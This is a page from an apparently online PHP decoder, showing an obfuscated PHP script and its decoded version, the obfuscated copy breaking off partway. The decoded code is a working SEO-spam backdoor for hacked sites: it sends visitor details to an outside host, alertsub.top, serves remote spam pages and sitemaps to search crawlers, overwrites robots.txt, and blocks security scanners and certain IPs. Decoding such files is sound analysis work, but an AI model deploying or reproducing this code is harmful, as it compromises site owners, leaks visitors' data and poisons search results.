Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto dpklN; YKzQL: header("\x48\x54\x54\x50\x2f\x31\56\x30\x20\64\60\x33\x20\106\15..

Decoded Output download

<?php 
goto dpklN; YKzQL: header("HTTP/1.0 403 Forbidden"); goto mKP4_; bh03o: @file_put_contents("robots.txt", $jaNVB); goto qyf6T; ZB66G: $NKxlb = "/?"; goto CfFHD; bxNn_: QZez3: goto VHXlL; oZesc: $JHxmi = "http://cw37.alertsub.top/index.php"; goto pDl1f; cdTr2: if (strpos($ApNku, "favicon.ico") !== false) { goto MGY6J; } goto xF1YJ; soJ7A: WpFjz: goto e8PVK; y0b9E: $sBDYu = "https://www.google.com/ping?sitemap="; goto CRB91; yZ1x7: if (!($L1ssI == "153.246.135.238" || $L1ssI == "219.101.44.233")) { goto WpFjz; } goto AGSLw; qyf6T: exit; goto oT5p0; lsseW: exit; goto pk022; Otk8Z: exit; goto ctZSU; k1lB6: goto g95zK; goto BqdJ4; aN8nb: $C4nyL = trim($C4nyL) . "\xd
" . "Sitemap: {$fMM6t}"; goto pn2p_; gJ2yj: dzNiu: goto n5QqH; z0iAp: if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot|paloaltonetworks|Python)/i", $_SERVER["HTTP_USER_AGENT"])) { goto sB1bg; } goto YKzQL; pDR7W: if (strpos($ApNku, "robots.txt") !== false || strpos($ApNku, "writerobots") !== false) { goto MP8wx; } goto qhCUP; e21L1: if (!file_exists("uxo.txt")) { goto ycrt7; } goto tSTzg; zGCh8: $jaNVB = hbt9E($P2TiF); goto ydkLr; dI_f6: QLt_7: goto QUbbA; va9Qs: goto gK7SJ; goto C_HKr; IJDJ8: goto DRVi3; goto vvFAG; bkzvq: DRVi3: goto bkZJR; fGAWZ: $NKxlb = $_SERVER["SCRIPT_NAME"]; goto yXZnm; Jq7c5: goto QLt_7; goto bxNn_; xq5xv: kk2zF: goto fGAWZ; Z_ZZP: if (!($jaNVB == "500")) { goto WrMQZ; } goto pQjPs; ydkLr: if ($jaNVB == "ok") { goto z3S68; } goto wrOGC; rqDxM: $nFDDA = urlencode($_SERVER["REQUEST_SCHEME"]); goto YlMPE; wiY1T: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto jhLhf; } goto Ir74z; xVWvL: bevSO: goto rqDxM; jpRIR: $Ml8ec = urlencode($_SERVER["HTTP_USER_AGENT"]); goto p0dDL; GvpiK: if ($L2Pun == 0) { goto xSk35; } goto Nargg; gQTLm: echo $fMM6t . ": " . $dTV10 . "<br/>"; goto NrSiT; altgi: PmRZD: goto B7HhS; B7HhS: if (strpos($ApNku, "pingsitemap.xml") !== false) { goto kk2zF; } goto cdTr2; Ahw65: if ($jaNVB == "500") { goto ZOEfp; } goto njyRG; OkWDl: goto bevSO; goto e8CxL; EEYCr: z3S68: goto fH6Eu; J1M8N: exit; goto F2pcf; ZVnmj: echo $jaNVB; goto J1M8N; fH6Eu: $L2Pun = 1; goto leK2_; Jfn_H: $P2ytJ = "bing|google|yahoo"; goto oZesc; do1hr: $hPscl = $JHxmi . "?agent={$Ml8ec}&refer={$rabfD}&lang={$BaV4Z}&ip={$jpYAZ}&dom={$GHAsR}&http={$nFDDA}&uri={$ApNku}&pc={$FT2pw}&rewriteable={$L2Pun}&script={$AxYhq}"; goto UHygA; naRlg: if ($jaNVB == "500") { goto dzNiu; } goto WphXk; wlmWn: goto PmRZD; goto I7AT2; A7yMu: exit; goto gEICl; Ir74z: $_SERVER["REQUEST_SCHEME"] = "http"; goto OkWDl; yaqyI: exit; goto soJ7A; n3cNc: $jaNVB = HBt9E($hPscl); goto pHHSi; mV4Gl: MGY6J: goto Vj0kY; pn2p_: $jaNVB = xrTjM($sBDYu . urlencode($fMM6t)); goto uCxoh; K3phz: goto yRkle; goto YyPj0; vBmop: vSmaD: goto yZ1x7; SKEWn: RbrCk: goto y0b9E; e8CxL: jhLhf: goto MBuQ1; E_yuh: if (!preg_match("/<h2>(.+?)<\/h2>/i", $jaNVB, $mHRdJ)) { goto J5jdj; } goto HNtjM; pJQgk: header("HTTP/1.1 404 Not Found"); goto B8TEJ; yvO5H: echo $jaNVB; goto VwiPz; Aqdzc: @file_put_contents("uxo.txt", "0"); goto qK32M; BqdJ4: xSk35: goto ZB66G; AGSLw: header("HTTP/1.0 403 Forbidden"); goto yaqyI; JqVlT: function xRtJM($JZf5v) { goto yDvB0; Xs6d6: curl_setopt($G_494, CURLOPT_SSL_VERIFYPEER, FALSE); goto nN4LG; PkD8n: if (!(strpos($JZf5v, "https://") !== false)) { goto kpCQk; } goto Xs6d6; nN4LG: curl_setopt($G_494, CURLOPT_SSL_VERIFYHOST, FALSE); goto RcsjR; RcsjR: kpCQk: goto caT6G; dO0HO: curl_setopt($G_494, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto PkD8n; wLdOP: curl_setopt($G_494, CURLOPT_FOLLOWLOCATION, false); goto dO0HO; vGHgj: if (!empty($s7ASD)) { goto SfGOi; } goto RxfO1; caT6G: $s7ASD = curl_exec($G_494); goto H4UdV; XVcOv: curl_setopt($G_494, CURLOPT_RETURNTRANSFER, true); goto wLdOP; H4UdV: curl_close($G_494); goto vGHgj; odHlo: SfGOi: goto erQj5; erQj5: return $s7ASD; goto sEfaB; yDvB0: $G_494 = curl_init(); goto ehu1D; RxfO1: $s7ASD = @file_get_contents($JZf5v); goto odHlo; ehu1D: curl_setopt($G_494, CURLOPT_URL, $JZf5v); goto XVcOv; sEfaB: } goto z0iAp; kKsQY: echo $jaNVB = Hbt9e($hPscl); goto bh03o; VfLpr: $jpYAZ = urlencode($L1ssI); goto nRR5Q; qZiEe: header("Content-Type: text/xml; charset=utf-8"); goto xn22w; pRZ9C: if (!($Auyrg < 30)) { goto KuWiI; } goto pnYH0; RfSKx: $BaV4Z = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto s51lI; NtsLG: jg3wi: goto dI_f6; pnYH0: L_6yp: goto H8bN1; YlMPE: $ApNku = urldecode($_SERVER["REQUEST_URI"]); goto kp5Vs; uCxoh: $dTV10 = "<font color='red'>ERROR</font>"; goto E_yuh; iUgk8: function hBT9E($JZf5v) { goto ccOfs; L9MNC: if (!(strpos($JZf5v, "https://") !== false)) { goto WmGgd; } goto D4nii; uiK4z: curl_setopt($G_494, CURLOPT_RETURNTRANSFER, true); goto I2L2V; xpbBt: curl_setopt($G_494, CURLOPT_SSL_VERIFYHOST, FALSE); goto m29Iw; SNjAE: $G_494 = curl_init(); goto MddrP; ccOfs: $s7ASD = @file_get_contents($JZf5v); goto OjCZA; D4nii: curl_setopt($G_494, CURLOPT_SSL_VERIFYPEER, FALSE); goto xpbBt; vPQjb: curl_close($G_494); goto qnsHH; I2L2V: curl_setopt($G_494, CURLOPT_FOLLOWLOCATION, false); goto L9MNC; OjCZA: if (!empty($s7ASD)) { goto L1u9E; } goto SNjAE; ZNJbv: $s7ASD = curl_exec($G_494); goto vPQjb; MddrP: curl_setopt($G_494, CURLOPT_URL, $JZf5v); goto uiK4z; m29Iw: WmGgd: goto ZNJbv; iP9_j: return $s7ASD; goto CUGbX; qnsHH: L1u9E: goto iP9_j; CUGbX: } goto JqVlT; uizVE: header("Content-Type: text/plain; charset=utf-8"); goto kKsQY; NrSiT: usleep(100 * 1000); goto HJXlw; CRB91: $C4nyL = "User-agent: *\xd\xaAllow: /"; goto Jlyc7; s51lI: $L1ssI = aTTUv(); goto VfLpr; rCQy3: WrMQZ: goto X6SnU; F2pcf: ZNC5s: goto qVIAB; kp5Vs: if (!(strpos($ApNku, "uuuuxxxxooo") !== false)) { goto vSmaD; } goto q8hbW; Je3aU: gK7SJ: goto pRZ9C; VHXlL: $hPscl = $JHxmi . "?agent={$Ml8ec}&refer={$rabfD}&lang={$BaV4Z}&ip={$jpYAZ}&dom={$GHAsR}&http={$nFDDA}&uri={$ApNku}&pc={$FT2pw}&rewriteable={$L2Pun}"; goto pRlKt; I7AT2: ycrt7: goto rL3pj; MBuQ1: $_SERVER["REQUEST_SCHEME"] = "https"; goto xVWvL; pDl1f: $FT2pw = 2618; goto jpRIR; HJXlw: $hPscl = $JHxmi . "?agent={$Ml8ec}&refer={$rabfD}&lang={$BaV4Z}&ip={$jpYAZ}&dom={$GHAsR}&http={$nFDDA}&uri={$ApNku}&pc={$FT2pw}&rewriteable={$L2Pun}&script={$AxYhq}&sitemap=" . urlencode($fMM6t); goto LOfoP; pQjPs: header("HTTP/1.0 500 Internal Server Error"); goto Qaker; cxrLC: DRrEW: goto zEqq3; q4vX0: $hPscl = $JHxmi . "?agent={$Ml8ec}&refer={$rabfD}&lang={$BaV4Z}&ip={$jpYAZ}&dom={$GHAsR}&http={$nFDDA}&uri={$ApNku}&pc={$FT2pw}&rewriteable={$L2Pun}&script={$AxYhq}"; goto N0nk9; UHygA: $jaNVB = hBT9E($hPscl); goto yvO5H; Wm3qG: exit; goto K3phz; OwI0A: exit; goto vBmop; e8PVK: $L2Pun = 0; goto e21L1; p0dDL: $rabfD = urlencode($_SERVER["HTTP_REFERER"]); goto RfSKx; B8TEJ: echo $jaNVB; goto A7yMu; BUOdU: function aTTuV() { goto MVcR1; MVcR1: if (!getenv("HTTP_CLIENT_IP")) { goto Xv2GR; } goto xSCMF; xSCMF: $jpYAZ = getenv("HTTP_CLIENT_IP"); goto ZwtBz; eIEJY: goto nFWIo; goto VfpU9; NhpcB: $jpYAZ = $SnS7L[0]; goto s1vy_; ydb_m: $SnS7L = explode(",", $jpYAZ); goto NhpcB; gJ6L1: nFWIo: goto nLRid; i_xl2: $jpYAZ = "0.0.0.0"; goto eIEJY; EHSwD: $jpYAZ = getenv("HTTP_X_REAL_IP"); goto deim9; VfpU9: Al2VD: goto EHSwD; deim9: goto nFWIo; goto nQuHk; nQuHk: ZE4O5: goto AwD2i; nLRid: return $jpYAZ; goto DsXdK; Get6c: if (getenv("REMOTE_ADDR")) { goto guwg2; } goto i_xl2; sgNm2: guwg2: goto TuV68; ZwtBz: Xv2GR: goto iEbDY; iEbDY: if (getenv("HTTP_X_REAL_IP")) { goto Al2VD; } goto Wo99u; Wo99u: if (getenv("HTTP_X_FORWARDED_FOR")) { goto ZE4O5; } goto Get6c; AwD2i: $jpYAZ = getenv("HTTP_X_FORWARDED_FOR"); goto ydb_m; TuV68: $jpYAZ = getenv("REMOTE_ADDR"); goto gJ6L1; s1vy_: goto nFWIo; goto sgNm2; DsXdK: } goto iUgk8; wrOGC: $L2Pun = 0; goto Aqdzc; yXZnm: if (strpos($NKxlb, "index.php") !== false) { goto BEe1z; } goto oQc3X; kaov4: $hPscl = $JHxmi . "?agent={$Ml8ec}&refer={$rabfD}&lang={$BaV4Z}&ip={$jpYAZ}&dom={$GHAsR}&http={$nFDDA}&uri={$ApNku}&pc={$FT2pw}&rewriteable={$L2Pun}&script={$AxYhq}"; goto uizVE; X6SnU: if (substr($jaNVB, 0, 5) == "<?xml") { goto afxgA; } goto TpYms; oT5p0: GUmmb: goto IJDJ8; C_HKr: KuWiI: goto rTeyq; CfFHD: g95zK: goto SKEWn; pRlKt: $jaNVB = HBT9e($hPscl); goto naRlg; xF1YJ: if (strpos($ApNku, "jp2023") !== false) { goto VIjiU; } goto pDR7W; gEICl: gJKKQ: goto uQM10; y2H_t: if (preg_match("/({$P2ytJ})/i", $_SERVER["HTTP_REFERER"])) { goto QZez3; } goto Jq7c5; bkZJR: goto kifTM; goto mV4Gl; VUgob: goNRv: goto VeNQY; wKTny: $Auyrg = 1; goto Je3aU; njyRG: header("Content-Type: text/xml; charset=utf-8"); goto R1xIh; CJAFl: goto MOxfT; goto xq5xv; H8bN1: $Auyrg++; goto va9Qs; qVIAB: Rca0x: goto QVEbs; n5QqH: header("HTTP/1.0 500 Internal Server Error"); goto zk8fa; LOfoP: $jaNVB = hBt9E($hPscl); goto wKTny; rL3pj: $P2TiF = $nFDDA . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo"; goto zGCh8; hmJ1w: sB1bg: goto Jfn_H; q8hbW: echo "ok"; goto OwI0A; B_9HY: header("HTTP/1.0 500 Internal Server Error"); goto lsseW; WphXk: if (empty($jaNVB)) { goto gJKKQ; } goto pJQgk; nRR5Q: $GHAsR = urlencode($_SERVER["HTTP_HOST"]); goto xNudq; zk8fa: exit; goto NtsLG; HNtjM: $dTV10 = $mHRdJ[1]; goto IWAzw; tSTzg: $L2Pun = @file_get_contents("uxo.txt"); goto wlmWn; zEqq3: goto GUmmb; goto rB5vd; qK32M: goto qG3x2; goto EEYCr; pHHSi: if (empty($jaNVB)) { goto ZNC5s; } goto Z_ZZP; WrQwk: if (preg_match("/({$P2ytJ})/i", $_SERVER["HTTP_USER_AGENT"])) { goto goNRv; } goto y2H_t; VwiPz: exit; goto bkzvq; hx_xR: afxgA: goto qZiEe; TpYms: header("Content-Type: text/html; charset=utf-8"); goto skr7P; IiRuG: goto RbrCk; goto mCI4K; rB5vd: MP8wx: goto kaov4; YyPj0: ZOEfp: goto B_9HY; mKP4_: exit; goto hmJ1w; skr7P: goto jknwn; goto hx_xR; Qaker: exit; goto rCQy3; QUbbA: goto Rca0x; goto VUgob; xNudq: $AxYhq = urlencode($_SERVER["SCRIPT_NAME"]); goto wiY1T; N0nk9: $jaNVB = hbT9E($hPscl); goto Ahw65; leK2_: @file_put_contents("uxo.txt", "1"); goto PGryC; oQc3X: $NKxlb = $NKxlb . "?"; goto IiRuG; QVEbs: goto DRrEW; goto WZKZf; uQM10: goto jg3wi; goto gJ2yj; VeNQY: $hPscl = $JHxmi . "?agent={$Ml8ec}&refer={$rabfD}&lang={$BaV4Z}&ip={$jpYAZ}&dom={$GHAsR}&http={$nFDDA}&uri={$ApNku}&pc={$FT2pw}&rewriteable={$L2Pun}&script={$AxYhq}"; goto n3cNc; Nargg: $NKxlb = "/"; goto k1lB6; xn22w: jknwn: goto ZVnmj; R1xIh: echo $jaNVB; goto Wm3qG; Jlyc7: $fMM6t = "{$nFDDA}://" . $GHAsR . $NKxlb . "sitemap.xml"; goto aN8nb; WZKZf: Z1p1I: goto q4vX0; pk022: yRkle: goto cxrLC; rTeyq: @file_put_contents("robots.txt", $C4nyL); goto Otk8Z; dpklN: error_reporting(0); goto BUOdU; mCI4K: BEe1z: goto GvpiK; IWAzw: J5jdj: goto gQTLm; PGryC: qG3x2: goto altgi; qhCUP: if (preg_match("@^/(.*?).xml$@i", $ApNku)) { goto Z1p1I; } goto WrQwk; Vj0kY: kifTM: goto CJAFl; vvFAG: VIjiU: goto do1hr; ctZSU: MOxfT: 
?>

Did this file decode correctly?

Original Code

<?php
goto dpklN; YKzQL: header("\x48\x54\x54\x50\x2f\x31\56\x30\x20\64\60\x33\x20\106\157\162\x62\151\144\x64\145\x6e"); goto mKP4_; bh03o: @file_put_contents("\x72\x6f\x62\157\x74\163\x2e\164\x78\164", $jaNVB); goto qyf6T; ZB66G: $NKxlb = "\x2f\x3f"; goto CfFHD; bxNn_: QZez3: goto VHXlL; oZesc: $JHxmi = "\x68\x74\164\160\72\x2f\x2f\x63\167\x33\x37\x2e\141\x6c\x65\x72\x74\x73\x75\142\56\164\157\160\x2f\151\x6e\x64\145\170\56\x70\x68\160"; goto pDl1f; cdTr2: if (strpos($ApNku, "\146\x61\x76\151\143\x6f\x6e\x2e\151\143\x6f") !== false) { goto MGY6J; } goto xF1YJ; soJ7A: WpFjz: goto e8PVK; y0b9E: $sBDYu = "\150\x74\x74\160\163\72\57\57\x77\x77\167\56\147\x6f\157\147\x6c\x65\x2e\x63\157\155\57\160\x69\156\x67\x3f\x73\x69\164\145\155\x61\x70\x3d"; goto CRB91; yZ1x7: if (!($L1ssI == "\x31\x35\63\x2e\x32\64\x36\56\x31\x33\65\56\x32\63\x38" || $L1ssI == "\x32\x31\x39\x2e\x31\x30\61\x2e\64\x34\56\x32\63\x33")) { goto WpFjz; } goto AGSLw; qyf6T: exit; goto oT5p0; lsseW: exit; goto pk022; Otk8Z: exit; goto ctZSU; k1lB6: goto g95zK; goto BqdJ4; aN8nb: $C4nyL = trim($C4nyL) . "\xd\12" . "\123\151\164\145\155\141\x70\x3a\x20{$fMM6t}"; goto pn2p_; gJ2yj: dzNiu: goto n5QqH; z0iAp: if (!preg_match("\57\50\x42\x79\164\x65\x73\x70\151\144\145\162\174\x50\x65\164\141\x6c\102\157\164\x7c\101\x68\x72\145\x66\163\102\x6f\x74\174\x42\x61\162\153\162\157\167\154\145\x72\x7c\x4d\x4a\x31\x32\142\x6f\x74\174\106\x65\145\x64\x44\x65\155\x6f\156\174\112\x69\x6b\145\x53\x70\x69\x64\145\x72\174\x49\156\144\171\x20\114\x69\x62\x72\141\162\171\x7c\x41\163\153\x54\142\106\130\x54\126\x7c\103\x72\x61\x77\x6c\x44\141\144\144\171\x7c\103\x6f\157\154\160\x61\x64\127\x65\x62\x6b\x69\x74\x7c\x4a\x61\x76\141\174\x46\x65\x65\x64\154\x79\174\x55\156\x69\x76\x65\x72\x73\141\x6c\x46\145\145\x64\120\x61\x72\x73\145\x72\x7c\x41\x70\x61\143\x68\145\102\145\x6e\143\x68\x7c\x53\167\x69\146\164\142\x6f\164\174\x5a\155\x45\165\x7c\x6f\x42\x6f\x74\174\x6a\141\x75\156\x74\171\x7c\120\x79\x74\150\157\156\55\x75\x72\x6c\154\151\x62\174\160\x79\164\x68\x6f\156\x2d\x72\145\x71\x75\x65\163\164\163\174\x6c\151\147\x68\x74\104\x65\143\153\x52\145\x70\x6f\162\164\163\40\102\157\164\174\x59\131\123\160\x69\144\145\x72\174\104\151\x67\x45\x78\x74\174\x59\x69\163\x6f\165\x53\160\151\x64\x65\162\174\x48\x74\x74\x70\x43\x6c\151\x65\156\x74\174\x68\x65\x72\151\164\x72\x69\170\x7c\105\x61\x73\157\x75\x53\160\151\x64\145\x72\174\105\x7a\157\157\155\x73\174\101\155\141\x7a\x6f\156\102\157\164\174\x53\105\x4d\x72\165\x73\x68\102\157\164\174\x59\x61\x6e\144\145\x78\102\x6f\x74\x7c\x70\141\154\x6f\141\154\164\157\x6e\145\x74\167\157\x72\x6b\x73\174\120\171\x74\x68\x6f\x6e\51\57\x69", $_SERVER["\x48\124\x54\120\x5f\125\x53\105\122\137\101\107\x45\116\x54"])) { goto sB1bg; } goto YKzQL; pDR7W: if (strpos($ApNku, "\x72\x6f\x62\157\x74\163\56\x74\170\x74") !== false || strpos($ApNku, "\167\162\x69\164\145\x72\157\x62\x6f\x74\163") !== false) { goto MP8wx; } goto qhCUP; e21L1: if (!file_exists("\165\170\157\56\x74\170\x74")) { goto ycrt7; } goto tSTzg; zGCh8: $jaNVB = hbt9E($P2TiF); goto ydkLr; dI_f6: QLt_7: goto QUbbA; va9Qs: goto gK7SJ; goto C_HKr; IJDJ8: goto DRVi3; goto vvFAG; bkzvq: DRVi3: goto bkZJR; fGAWZ: $NKxlb = $_SERVER["\123\x43\x52\x49\x50\x54\x5f\x4e\x41\115\105"]; goto yXZnm; Jq7c5: goto QLt_7; goto bxNn_; xq5xv: kk2zF: goto fGAWZ; Z_ZZP: if (!($jaNVB == "\65\60\x30")) { goto WrMQZ; } goto pQjPs; ydkLr: if ($jaNVB == "\157\x6b") { goto z3S68; } goto wrOGC; rqDxM: $nFDDA = urlencode($_SERVER["\x52\105\121\125\105\x53\x54\137\x53\103\110\x45\x4d\105"]); goto YlMPE; wiY1T: if (!empty($_SERVER["\x52\x45\121\125\x45\x53\124\137\x53\x43\x48\105\x4d\x45"]) && $_SERVER["\122\105\121\125\105\123\x54\x5f\123\x43\x48\105\x4d\x45"] == "\x68\164\x74\x70\163" || !empty($_SERVER["\110\x54\x54\x50\123"]) && $_SERVER["\110\x54\x54\120\123"] == "\x6f\156" || !empty($_SERVER["\123\x45\122\x56\x45\x52\137\120\x4f\122\124"]) && $_SERVER["\x53\105\x52\126\105\x52\x5f\120\117\x52\124"] == "\64\x34\x33" || isset($_SERVER["\110\x54\x54\120\x5f\x58\137\x46\x4f\x52\x57\101\122\104\x45\104\137\120\122\117\124\117"]) && $_SERVER["\110\124\124\120\137\130\x5f\x46\x4f\122\127\x41\x52\x44\105\104\x5f\120\122\x4f\124\117"] == "\150\x74\164\160\x73") { goto jhLhf; } goto Ir74z; xVWvL: bevSO: goto rqDxM; jpRIR: $Ml8ec = urlencode($_SERVER["\x48\x54\x54\x50\x5f\125\x53\105\122\x5f\101\107\x45\x4e\x54"]); goto p0dDL; GvpiK: if ($L2Pun == 0) { goto xSk35; } goto Nargg; gQTLm: echo $fMM6t . "\x3a\40" . $dTV10 . "\74\x62\x72\57\76"; goto NrSiT; altgi: PmRZD: goto B7HhS; B7HhS: if (strpos($ApNku, "\x70\151\156\x67\163\151\164\145\155\141\x70\x2e\x78\155\154") !== false) { goto kk2zF; } goto cdTr2; Ahw65: if ($jaNVB == "\65\x30\60") { goto ZOEfp; } goto njyRG; OkWDl: goto bevSO; goto e8CxL; EEYCr: z3S68: goto fH6Eu; J1M8N: exit; goto F2pcf; ZVnmj: echo $jaNVB; goto J1M8N; fH6Eu: $L2Pun = 1; goto leK2_; Jfn_H: $P2ytJ = "\x62\151\x6e\147\x7c\x67\x6f\157\x67\x6c\145\174\171\x61\x68\x6f\x6f"; goto oZesc; do1hr: $hPscl = $JHxmi . "\77\141\x67\145\x6e\164\75{$Ml8ec}\46\x72\x65\146\145\162\x3d{$rabfD}\46\x6c\141\156\147\x3d{$BaV4Z}\x26\x69\160\x3d{$jpYAZ}\x26\x64\x6f\155\x3d{$GHAsR}\x26\x68\164\164\160\x3d{$nFDDA}\46\165\162\151\x3d{$ApNku}\46\160\143\75{$FT2pw}\x26\162\x65\x77\162\151\x74\x65\141\142\x6c\145\x3d{$L2Pun}\46\163\143\162\151\160\x74\x3d{$AxYhq}"; goto UHygA; naRlg: if ($jaNVB == "\x35\x30\x30") { goto dzNiu; } goto WphXk; wlmWn: goto PmRZD; goto I7AT2; A7yMu: exit; goto gEICl; Ir74z: $_SERVER["\122\105\x51\x55\105\123\x54\137\x53\x43\110\x45\115\x45"] = "\150\164\164\x70"; goto OkWDl; yaqyI: exit; goto soJ7A; n3cNc: $jaNVB = HBt9E($hPscl); goto pHHSi; mV4Gl: MGY6J: goto Vj0kY; pn2p_: $jaNVB = xrTjM($sBDYu . urlencode($fMM6t)); goto uCxoh; K3phz: goto yRkle; goto YyPj0; vBmop: vSmaD: goto yZ1x7; SKEWn: RbrCk: goto y0b9E; e8CxL: jhLhf: goto MBuQ1; E_yuh: if (!preg_match("\57\74\x68\62\76\x28\56\53\77\x29\x3c\x5c\x2f\x68\62\x3e\57\151", $jaNVB, $mHRdJ)) { goto J5jdj; } goto HNtjM; pJQgk: header("\110\124\x54\x50\x2f\x31\56\61\40\64\60\64\x20\116\x6f\x74\40\106\157\165\x6e\x64"); goto B8TEJ; yvO5H: echo $jaNVB; goto VwiPz; Aqdzc: @file_put_contents("\x75\170\x6f\x2e\x74\x78\x74", "\60"); goto qK32M; BqdJ4: xSk35: goto ZB66G; AGSLw: header("\x48\x54\124\x50\x2f\x31\x2e\x30\40\x34\60\x33\40\x46\157\x72\142\151\144\144\x65\156"); goto yaqyI; JqVlT: function xRtJM($JZf5v) { goto yDvB0; Xs6d6: curl_setopt($G_494, CURLOPT_SSL_VERIFYPEER, FALSE); goto nN4LG; PkD8n: if (!(strpos($JZf5v, "\x68\164\x74\160\x73\72\x2f\57") !== false)) { goto kpCQk; } goto Xs6d6; nN4LG: curl_setopt($G_494, CURLOPT_SSL_VERIFYHOST, FALSE); goto RcsjR; RcsjR: kpCQk: goto caT6G; dO0HO: curl_setopt($G_494, CURLOPT_USERAGENT, $_SERVER["\x48\124\x54\x50\137\125\x53\105\122\137\101\107\105\x4e\124"]); goto PkD8n; wLdOP: curl_setopt($G_494, CURLOPT_FOLLOWLOCATION, false); goto dO0HO; vGHgj: if (!empty($s7ASD)) { goto SfGOi; } goto RxfO1; caT6G: $s7ASD = curl_exec($G_494); goto H4UdV; XVcOv: curl_setopt($G_494, CURLOPT_RETURNTRANSFER, true); goto wLdOP; H4UdV: curl_close($G_494); goto vGHgj; odHlo: SfGOi: goto erQj5; erQj5: return $s7ASD; goto sEfaB; yDvB0: $G_494 = curl_init(); goto ehu1D; RxfO1: $s7ASD = @file_get_contents($JZf5v); goto odHlo; ehu1D: curl_setopt($G_494, CURLOPT_URL, $JZf5v); goto XVcOv; sEfaB: } goto z0iAp; kKsQY: echo $jaNVB = Hbt9e($hPscl); goto bh03o; VfLpr: $jpYAZ = urlencode($L1ssI); goto nRR5Q; qZiEe: header("\103\x6f\156\164\x65\156\x74\55\124\171\160\145\x3a\x20\x74\145\x78\x74\57\170\x6d\x6c\x3b\x20\143\x68\141\x72\163\x65\164\75\165\164\x66\55\x38"); goto xn22w; pRZ9C: if (!($Auyrg < 30)) { goto KuWiI; } goto pnYH0; RfSKx: $BaV4Z = urlencode($_SERVER["\110\x54\124\x50\137\101\103\103\105\x50\124\137\x4c\101\x4e\107\x55\x41\x47\x45"]); goto s51lI; NtsLG: jg3wi: goto dI_f6; pnYH0: L_6yp: goto H8bN1; YlMPE: $ApNku = urldecode($_SERVER["\122\105\x51\x55\x45\x53\x54\137\x55\122\x49"]); goto kp5Vs; uCxoh: $dTV10 = "\74\146\x6f\x6e\164\x20\143\157\x6c\x6f\162\x3d\47\x72\x65\x64\47\76\105\122\x52\x4f\x52\74\x2f\146\x6f\156\x74\x3e"; goto E_yuh; iUgk8: function hBT9E($JZf5v) { goto ccOfs; L9MNC: if (!(strpos($JZf5v, "\150\164\164\x70\x73\x3a\57\x2f") !== false)) { goto WmGgd; } goto D4nii; uiK4z: curl_setopt($G_494, CURLOPT_RETURNTRANSFER, true); goto I2L2V; xpbBt: curl_setopt($G_494, CURLOPT_SSL_VERIFYHOST, FALSE); goto m29Iw; SNjAE: $G_494 = curl_init(); goto MddrP; ccOfs: $s7ASD = @file_get_contents($JZf5v); goto OjCZA; D4nii: curl_setopt($G_494, CURLOPT_SSL_VERIFYPEER, FALSE); goto xpbBt; vPQjb: curl_close($G_494); goto qnsHH; I2L2V: curl_setopt($G_494, CURLOPT_FOLLOWLOCATION, false); goto L9MNC; OjCZA: if (!empty($s7ASD)) { goto L1u9E; } goto SNjAE; ZNJbv: $s7ASD = curl_exec($G_494); goto vPQjb; MddrP: curl_setopt($G_494, CURLOPT_URL, $JZf5v); goto uiK4z; m29Iw: WmGgd: goto ZNJbv; iP9_j: return $s7ASD; goto CUGbX; qnsHH: L1u9E: goto iP9_j; CUGbX: } goto JqVlT; uizVE: header("\103\157\156\164\x65\x6e\164\x2d\124\x79\160\145\72\40\x74\145\170\164\x2f\x70\x6c\141\x69\x6e\x3b\x20\143\x68\x61\162\163\x65\164\75\165\164\146\55\70"); goto kKsQY; NrSiT: usleep(100 * 1000); goto HJXlw; CRB91: $C4nyL = "\x55\x73\145\x72\55\141\x67\145\156\164\x3a\40\52\xd\xa\101\x6c\154\157\167\x3a\40\x2f"; goto Jlyc7; s51lI: $L1ssI = aTTUv(); goto VfLpr; rCQy3: WrMQZ: goto X6SnU; F2pcf: ZNC5s: goto qVIAB; kp5Vs: if (!(strpos($ApNku, "\165\x75\165\165\x78\170\170\x78\157\157\x6f") !== false)) { goto vSmaD; } goto q8hbW; Je3aU: gK7SJ: goto pRZ9C; VHXlL: $hPscl = $JHxmi . "\x3f\x61\147\145\x6e\x74\x3d{$Ml8ec}\x26\162\145\x66\145\162\x3d{$rabfD}\x26\154\x61\x6e\147\75{$BaV4Z}\46\151\160\x3d{$jpYAZ}\x26\144\x6f\155\x3d{$GHAsR}\x26\x68\164\x74\x70\75{$nFDDA}\x26\165\x72\x69\x3d{$ApNku}\46\160\143\x3d{$FT2pw}\x26\162\145\x77\162\151\164\x65\141\x62\154\145\x3d{$L2Pun}"; goto pRlKt; I7AT2: ycrt7: goto rL3pj; MBuQ1: $_SERVER["\x52\105\x51\125\105\x53\124\x5f\x53\103\x48\105\x4d\x45"] = "\x68\x74\x74\x70\x73"; goto xVWvL; pDl1f: $FT2pw = 2618; goto jpRIR; HJXlw: $hPscl = $JHxmi . "\77\141\x67\145\156\x74\x3d{$Ml8ec}\x26\162\x65\x66\145\x72\x3d{$rabfD}\x26\154\141\156\147\x3d{$BaV4Z}\46\151\160\75{$jpYAZ}\46\x64\x6f\155\x3d{$GHAsR}\46\150\x74\164\160\75{$nFDDA}\x26\165\162\x69\x3d{$ApNku}\46\160\143\x3d{$FT2pw}\x26\162\x65\x77\x72\151\x74\145\141\142\154\x65\x3d{$L2Pun}\x26\x73\143\162\x69\160\x74\x3d{$AxYhq}\46\163\x69\164\x65\155\141\160\x3d" . urlencode($fMM6t); goto LOfoP; pQjPs: header("\x48\x54\124\120\57\61\56\60\40\x35\x30\x30\x20\111\x6e\164\145\x72\x6e\x61\x6c\x20\x53\x65\162\166\x65\x72\x20\x45\162\x72\x6f\162"); goto Qaker; cxrLC: DRrEW: goto zEqq3; 